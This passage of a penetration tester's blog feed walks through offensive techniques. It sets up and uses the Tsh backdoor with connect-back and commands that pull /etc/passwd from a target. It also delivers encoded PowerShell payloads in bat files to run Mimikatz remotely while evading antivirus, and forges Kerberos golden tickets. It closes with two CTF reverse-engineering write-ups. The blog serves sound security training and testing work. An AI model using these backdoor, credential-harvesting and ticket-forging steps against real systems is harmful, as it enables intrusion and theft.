&lt;p&gt;By default the terminal size is quite small, as you may notice when launching &lt;code class=&quot;highlighter-rouge&quot;&gt;top&lt;/code&gt; command or editing files with a text editor. You can easily change this, use &lt;code class=&quot;highlighter-rouge&quot;&gt;stty -a &lt;/code&gt; command to get the size of your regular teminal:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ stty -a
speed 38400 baud; rows 57; columns 211; line = 0;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Apply desired size to your socat terminal:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ stty rows 57 cols 211
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;tsh&quot;&gt;Tsh&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/creaktive/tsh&quot;&gt;Tsh&lt;/a&gt; is a small ssh-like backdoor with full-pty terminal and with capability of file transfer. This tool has very small footprint and is easily built on most unix-like systems. Start with editing tsh.h file:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#ifndef _TSH_H
#define _TSH_H
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;secret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;never say never say die&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#define SERVER_PORT 22
&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server_port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SERVER_PORT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/*
#define CONNECT_BACK_HOST  &quot;localhost&quot;
#define CONNECT_BACK_DELAY 30
*/&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif &lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* tsh.h */&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Change &lt;code class=&quot;highlighter-rouge&quot;&gt;secret&lt;/code&gt;, specify &lt;code class=&quot;highlighter-rouge&quot;&gt;SERVER_PORT&lt;/code&gt;. Uncomment and edit &lt;code class=&quot;highlighter-rouge&quot;&gt;CONNECT_BACK_HOST&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;CONNECT_BACK_DELAY&lt;/code&gt; directives if you want backconnect. Run make:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ make linux_x64
make								\
	LDFLAGS=&quot; -Xlinker --no-as-needed -lutil&quot;	\
	DEFS=&quot; -DLINUX&quot;					\
	tsh tshd
make[1]: Entering directory '/tmp/tsh'
gcc -O3 -W -Wall -DLINUX -c pel.c
gcc -O3 -W -Wall -DLINUX -c aes.c
gcc -O3 -W -Wall -DLINUX -c sha1.c
gcc -O3 -W -Wall -DLINUX -c tsh.c
gcc -Xlinker --no-as-needed -lutil -o tsh pel.o aes.o sha1.o tsh.o
strip tsh
gcc -O3 -W -Wall -DLINUX -c tshd.c
gcc -Xlinker --no-as-needed -lutil -o tshd pel.o aes.o sha1.o tshd.o
strip tshd
make[1]: Leaving directory '/tmp/tsh'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now run &lt;code class=&quot;highlighter-rouge&quot;&gt;./tshd&lt;/code&gt; on server. It will start listening on the specified port. You can connect to it via executing the following command:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;./tsh host_ip&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If tsh was compiled with backconnect capability, the &lt;code class=&quot;highlighter-rouge&quot;&gt;tshd&lt;/code&gt; daemon will try to connect back to the attacker’s machine. To launch listener on attacker’s side:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./tsh cb
Waiting for the server to connect...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;To transfer files with tsh:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./tsh host_ip get /etc/passwd .
./tsh host_ip put /bin/netcat /tmp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content>

      
      
      
      
      

      
        <author>
            <name>Artem Kondratenko</name>
          
          
        </author>
      

      

      

      
        <summary type="html">Penetration testers often traverse logical network boundaries in order to gain access to client’s critical infrastracture. Common scenarios include developing the attack into the internal network after successful perimeter breach or gaining access to initialy unroutable network segments after compromising hosts inside the organization. Pivoting is a set of techniques used during red team/pentest engagements which make use of attacker-controlled hosts as logical network hops with the aim of amplifying network visibility. In this post I’ll cover common pivoting techniques and tools available.</summary>
      

      
      
    </entry>
  
  
  
    <entry>
      
      <title type="html">Pentesting Windows environments: remote delivery of PowerShell payloads</title>
      
      <link href="https://artkond.com/2016/12/25/pentesting-windows-powershell/" rel="alternate" type="text/html" title="Pentesting Windows environments: remote delivery of PowerShell payloads" />
      <published>2016-12-25T00:00:00+00:00</published>
      <updated>2016-12-25T00:00:00+00:00</updated>
      <id>https://artkond.com/2016/12/25/pentesting-windows-powershell</id>
      <content type="html" xml:base="https://artkond.com/2016/12/25/pentesting-windows-powershell/">&lt;p&gt;PowerShell is an amazing post-exploitation tool available to the attacker during engagements in Windows environments. Tools like PowerSploit or PowerShell Empire help out a lot during internal test. Problem is, restrictive execution policy is enabled by default on windows machines which makes it problematic to run ps1 scripts. Not having admin rights on the target machine means you basically confine yourself to executing PowerShell one-liners which have length restrictions (cmd.exe has a limit of 8191 characters).&lt;/p&gt;

&lt;p&gt;One way to bypass execution policy is to gain admin rights on the target and “unrestrict” the execution of PowerShell scripts with Set-ExecutionPolicy cmdlet. It’s a global settings so don’t forget to change in back.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/powershell1.png&quot; alt=&quot;Execution Policy&quot; /&gt;
&lt;!-- more --&gt;&lt;/p&gt;

&lt;p&gt;Another cool trick is to write a simple command that evaluates expression, effectively executing it in memory. You can evaluate a whole ps1 script no matter how large it is. Here’s an example of downloading powercat code and evaluating it in one line:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/powershell2.png&quot; alt=&quot;Powercat&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Execution policy does not apply to one-line PowerShell scripts. We can go one step further and read data contents from file, evaluate it and run our payload. But why not automate this? In my case I was looking for a way to remotely execute Invoke-Mimikatz.ps1 on a number of windows machines without having to tediously upload the script via smbclient, run psexec to disable execution policy, run the script itself and then reverting execution restrictions.&lt;/p&gt;

&lt;p&gt;The idea is quite simple. We deliver our payload via single bat file. PowerShell script is encoded in base64 and placed in comment section of bat. Comments are followed by a small one-liner that reads the same file, and decodes our payload and runs it. You can use a python script to quickly convert your favorite PowerShell script to bat file. Again, execution policy doesn’t matter in because you are only executing a PowerShell one-liner.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/powershell3.png&quot; alt=&quot;Bat Armor&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The resulting file look as follows:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/powershell4.png&quot; alt=&quot;Encoded bat file&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we can pass this file to psexec.py  with “-c” switch and get the results. Running remote mimikatz is now a one-liner and is perfectly scriptable if you want to do a mass-harvesting of credentials in domain :)&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/powershell5.png&quot; alt=&quot;psexec&quot; /&gt;&lt;/p&gt;

&lt;p&gt;More mimikatz magic - enable multiple RDP connections on a workstation:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/powershell6.png&quot; alt=&quot;multirdp&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You can find the script here - &lt;a href=&quot;https://github.com/artkond/bat-armor&quot;&gt;https://github.com/artkond/bat-armor&lt;/a&gt;&lt;/p&gt;</content>

      
      
      
      
      

      
        <author>
            <name>Artem Kondratenko</name>
          
          
        </author>
      

      

      

      
        <summary type="html">PowerShell is an amazing post-exploitation tool available to the attacker during engagements in Windows environments. Tools like PowerSploit or PowerShell Empire help out a lot during internal test. Problem is, restrictive execution policy is enabled by default on windows machines which makes it problematic to run ps1 scripts. Not having admin rights on the target machine means you basically confine yourself to executing PowerShell one-liners which have length restrictions (cmd.exe has a limit of 8191 characters). One way to bypass execution policy is to gain admin rights on the target and “unrestrict” the execution of PowerShell scripts with Set-ExecutionPolicy cmdlet. It’s a global settings so don’t forget to change in back.</summary>
      

      
      
    </entry>
  
  
  
    <entry>
      
      <title type="html">Pivoting kerberos golden tickets in Linux</title>
      
      <link href="https://artkond.com/2016/12/18/pivoting-kerberos/" rel="alternate" type="text/html" title="Pivoting kerberos golden tickets in Linux" />
      <published>2016-12-18T00:00:00+00:00</published>
      <updated>2016-12-18T00:00:00+00:00</updated>
      <id>https://artkond.com/2016/12/18/pivoting-kerberos</id>
      <content type="html" xml:base="https://artkond.com/2016/12/18/pivoting-kerberos/">&lt;p&gt;Kerberos golden ticket allows attacker to establish persistent and covert authenticated access to Windows domain. The attack works as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Attacker gains administrator privileges in domain&lt;/li&gt;
  &lt;li&gt;Attacker extracts ntlm hash of a domain user “krbtgt” and obtains SID of the target domain&lt;/li&gt;
  &lt;li&gt;The attacker forges kerberos ticket&lt;/li&gt;
  &lt;li&gt;This ticket is used to authenticate in domain with privileges of domain administrator&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here’s a detailed walkthough on how to use golden tickets on Kali Linux.&lt;/p&gt;

&lt;p&gt;Let’s start with obtaining krbtgt ntlm hash. I use an encoded version of mimikatz utility that gets me krbtgt hash without alerting AV (&lt;a href=&quot;https://github.com/artkond/bat-armor/blob/master/examples/krbtgt.bat&quot;&gt;https://github.com/artkond/bat-armor/blob/master/examples/krbtgt.bat&lt;/a&gt;):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/golden1.png&quot; alt=&quot;Dcsync&quot; /&gt;
&lt;!-- more --&gt;&lt;/p&gt;

&lt;p&gt;Stripping last number from krbtgt SID (in out case 502) we obtain domain SID S-1-5-21-3251500307-1840725093-2229733580.
Now to generate the ticket we use ticketer.py utility from Impacket (&lt;a href=&quot;https://github.com/CoreSecurity/impacket/blob/master/examples/ticketer.py&quot;&gt;https://github.com/CoreSecurity/impacket/blob/master/examples/ticketer.py&lt;/a&gt;):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/golden2.png&quot; alt=&quot;ticketer.py&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Almost ready. Just need to export system variable, so impacket’s psexec.py can use the ticket. When running psexec.py use -k key for kerberos authentication:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/golden3.png&quot; alt=&quot;KRB5CCNAME&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Same thing goes for other impacket tools such as wmiexec.py (which is more covert than psexec.py as it does not upload any binaries and starts no services) or atexec.py (uses scheduled tasks to exec your code):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/golden4.png&quot; alt=&quot;wmiexec.py&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that’s all fine but what if you want to upload some files? Most probably you’ll want to use smbclient for this task. Using kerberos with smbclient is a bit more complicated. You have to add your kerberos realm to config file located @ /etc/krb5.conf. In case you don’t have krb5.conf you might want to install krb5-user package from your distro’s repo.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;[realms]
    PENTESTO.LOC = {
        kdc = tcp/dc01:88
    }&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;TCP is preferable as you will be able to tunnel your requests to kerberos server over socks proxy if you decide to do some fun pivoting. Notice that realm should be uppercase.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/golden5.png&quot; alt=&quot;smbclient.py&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;pivoting&quot;&gt;Pivoting&lt;/h3&gt;

&lt;p&gt;Using kerberos ticket over socks tunnel requires a bit more extra work. Most likely you don’t have direct access to active directory name servers so you have to edit /etc/hosts file. Add target server, domain controller (which is also kerberos server), and domain’s FQDN. This is mandatory because kerberos only works with hostnames and will fail if you specify IP-address.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ cat /etc/hosts
...
10.0.0.89  pentesto.loc
10.0.0.89  dc01
...&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;I my case target server is the domain controller. Edit proxychains. Add your socks proxy and comment proxy_dns directive:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ cat proxychains.conf
...
#Proxy DNS requests - no leak for DNS data
#proxy_dns 
...
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to &quot;tor&quot;
socks4  172.16.46.157 3128&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;In case you’ve set up /etc/hosts and /etc/krb5.conf correctly there should be no trouble running smbclient or psexec.py over socks:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/golden6.png&quot; alt=&quot;psexec.py&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/golden7.png&quot; alt=&quot;smbclient.py&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Note that psexec.py is sensitive to the info you provide. Domain name and username should be exact same you entered when forging ticket with ticketer.py.&lt;/p&gt;</content>

      
      
      
      
      

      
        <author>
            <name>Artem Kondratenko</name>
          
          
        </author>
      

      

      

      
        <summary type="html">Kerberos golden ticket allows attacker to establish persistent and covert authenticated access to Windows domain. The attack works as follows: Attacker gains administrator privileges in domain Attacker extracts ntlm hash of a domain user “krbtgt” and obtains SID of the target domain The attacker forges kerberos ticket This ticket is used to authenticate in domain with privileges of domain administrator Here’s a detailed walkthough on how to use golden tickets on Kali Linux. Let’s start with obtaining krbtgt ntlm hash. I use an encoded version of mimikatz utility that gets me krbtgt hash without alerting AV (https://github.com/artkond/bat-armor/blob/master/examples/krbtgt.bat):</summary>
      

      
      
    </entry>
  
  
  
    <entry>
      
      <title type="html">Plaidctf 2014 Reverse 250 “hudak” write-up</title>
      
      <link href="https://artkond.com/2014/04/14/plaidctf2014-hudak/" rel="alternate" type="text/html" title="Plaidctf 2014 Reverse 250 &quot;hudak&quot; write-up" />
      <published>2014-04-14T00:00:00+00:00</published>
      <updated>2014-04-14T00:00:00+00:00</updated>
      <id>https://artkond.com/2014/04/14/plaidctf2014-hudak</id>
      <content type="html" xml:base="https://artkond.com/2014/04/14/plaidctf2014-hudak/">&lt;p&gt;Task description:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Can you reverse this program?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Peeking into file:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ file hudak
hudak: ELF 32-bit LSB executable&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ strings hudak
hCA[
DCCC@EGhh
read_until
Enter the password.
Wrong!
Congratulations!
;*2$&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;$ ./hudak
Enter the password.
can_i_haz_flag
Wrong!&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So no easy flag today ;) Ok, no problem, fire up IDA + linux_server and let’s roll. sub_80484C0 is our main function:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/plaidctf1.jpg&quot; alt=&quot;ida&quot; /&gt;
&lt;!-- more --&gt;&lt;/p&gt;

&lt;p&gt;First branch we encounter checks the input flag for correct length which should be 30 (including \n). If the length is correct we can step further down until we stop at 0x08048597 &lt;code class=&quot;highlighter-rouge&quot;&gt;call dword ptr [esi+8]&lt;/code&gt;, which is dynamically resolved so its easier to see in debugging session:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/plaidctf2.jpg&quot; alt=&quot;ida&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The result of this function determines whether the flag is correct or not. The &lt;code class=&quot;highlighter-rouge&quot;&gt;check_flag&lt;/code&gt; function allocates a buffer and populates it with 4 function pointers. After that it calls one of these functions using implicit &lt;code class=&quot;highlighter-rouge&quot;&gt;call [eax+8]&lt;/code&gt;. This function returns modified string we provided as input and compares it to some hardcoded string in memory:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/plaidctf3.jpg&quot; alt=&quot;ida&quot; /&gt;&lt;/p&gt;

&lt;p&gt;String located at 0x8048D60 is most likely our flag, but it looks gibberish so it’s probably encrypted. Indeed, at the end of &lt;code class=&quot;highlighter-rouge&quot;&gt;table_func4&lt;/code&gt; our input string is XORed with 0x37.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://artkond.com/assets/plaidctf4.jpg&quot; alt=&quot;ida&quot; /&gt;&lt;/p&gt;

&lt;p&gt;XORing buffer at 0x8048D60 with 0x37 we get a readable string (except for 9th byte) &lt;code class=&quot;highlighter-rouge&quot;&gt;3.._tvl3\xffstttwrp__1mea4as4i1_.&lt;/code&gt;. Not surprisingly it’s not a valid flag. Apparently, XOR is not the only transformation of input. Let’s check our random input “
&lt;code class=&quot;highlighter-rouge&quot;&gt;iklumoyegxnjufqberxwzpdxaxeso&lt;/code&gt; in memory just before the XOR operation. Interestingly enough, ESI points to an array of 30 strings. First string in array is the copy of our input string shifted several chars left, while the second one is shifted left one char compared to the first one, third string is shifted two chars and so on. Strings in this array are sorted i.e. first start with &lt;code class=&quot;highlighter-rouge&quot;&gt;axeso&lt;/code&gt;, second with &lt;code class=&quot;highlighter-rouge&quot;&gt;berx&lt;/code&gt; and so on. Basically, this “xor” loop takes the last char from each of the strings (ebx = 29, so ecx+ebx is the last char), XORes it with 0x37 and appends it to the resulting buffer. So before being XORed our input buffer &lt;code class=&quot;highlighter-rouge&quot;&gt;iklumoyegxnjufqberxwzpdxaxeso&lt;/code&gt; transforms to &lt;code class=&quot;highlighter-rouge&quot;&gt;xqpybxue\xffnikuxmszfeejlxdagrowo&lt;/code&gt; (0xff is appended to input string at the very beginning). Knowing the algorithm we can find out which character precedes any given character.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;n&quot;&gt;shuffled_flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;3.._tvl3&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xff&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;stttwrp__1mea4as4i1_.&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sorted_flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sorted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shuffled_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
 
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c2&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shuffled_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sorted_flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'-&amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c2&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Output:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;3 -&amp;gt; .
. -&amp;gt; .
. -&amp;gt; .
_ -&amp;gt; 1
t -&amp;gt; 1
v -&amp;gt; 3
l -&amp;gt; 3
3 -&amp;gt; 4
\xff -&amp;gt; 4
s -&amp;gt; _
t -&amp;gt; _
t -&amp;gt; _
t -&amp;gt; _
w -&amp;gt; a
r -&amp;gt; a
p -&amp;gt; e
_ -&amp;gt; i
_ -&amp;gt; l
1 -&amp;gt; m
m -&amp;gt; p
e -&amp;gt; r
a -&amp;gt; s
4 -&amp;gt; s
a -&amp;gt; t
s -&amp;gt; t
4 -&amp;gt; t
i -&amp;gt; t
1 -&amp;gt; v
_ -&amp;gt; w
. -&amp;gt; \xff&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Since one character may occur several times in the string there are several possible strings that can be derived from this table. After some guessing it’s not too hard to find the one that makes sense – &lt;code class=&quot;highlighter-rouge&quot;&gt;4t_l34st_it_was_1mperat1v3…&lt;/code&gt;&lt;/p&gt;</content>

      
      
      
      
      

      
        <author>
            <name>Artem Kondratenko</name>
          
          
        </author>
      

      

      

      
        <summary type="html">Task description: Can you reverse this program? Peeking into file: $ file hudak hudak: ELF 32-bit LSB executable $ strings hudak hCA[ DCCC@EGhh read_until Enter the password. Wrong! Congratulations! ;*2$&quot; $ ./hudak Enter the password. can_i_haz_flag Wrong! So no easy flag today ;) Ok, no problem, fire up IDA + linux_server and let’s roll. sub_80484C0 is our main function:</summary>
      

      
      
    </entry>
  
  
  
    <entry>
      
      <title type="html">Ructf quals 2014 Reverse 500 “Arcfour” write-up</title>
      
      <link href="https://artkond.com/2014/03/11/ructf-reverse-500/" rel="alternate" type="text/html" title="Ructf quals 2014 Reverse 500 &quot;Arcfour&quot; write-up" />
      <published>2014-03-11T00:00:00+00:00</published>
      <updated>2014-03-11T00:00:00+00:00</updated>
      <id>https://artkond.com/2014/03/11/ructf-reverse-500</id>
      <content type="html" xml:base="https://artkond.com/2014/03/11/ructf-reverse-500/">&lt;p&gt;Task description:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Crack me please.
Flag format is &quot;RUCTF_.*&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Ok so we’re presented with a arcfour.exe binary.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;root@kali:~/vmshare/ctf/reverse/original# file arcfour.exe
arcfour.exe: PE32 executable (console) Intel 80386, for MS Windows, UPX сompressed&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Well, simple enough! Just unpack it with &lt;code class=&quot;highlighter-rouge&quot;&gt;upx -d&lt;/code&gt; and load into IDA :&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__cdecl&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;envp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;lstrlenA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;n&quot;&gt;dword_40337C&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
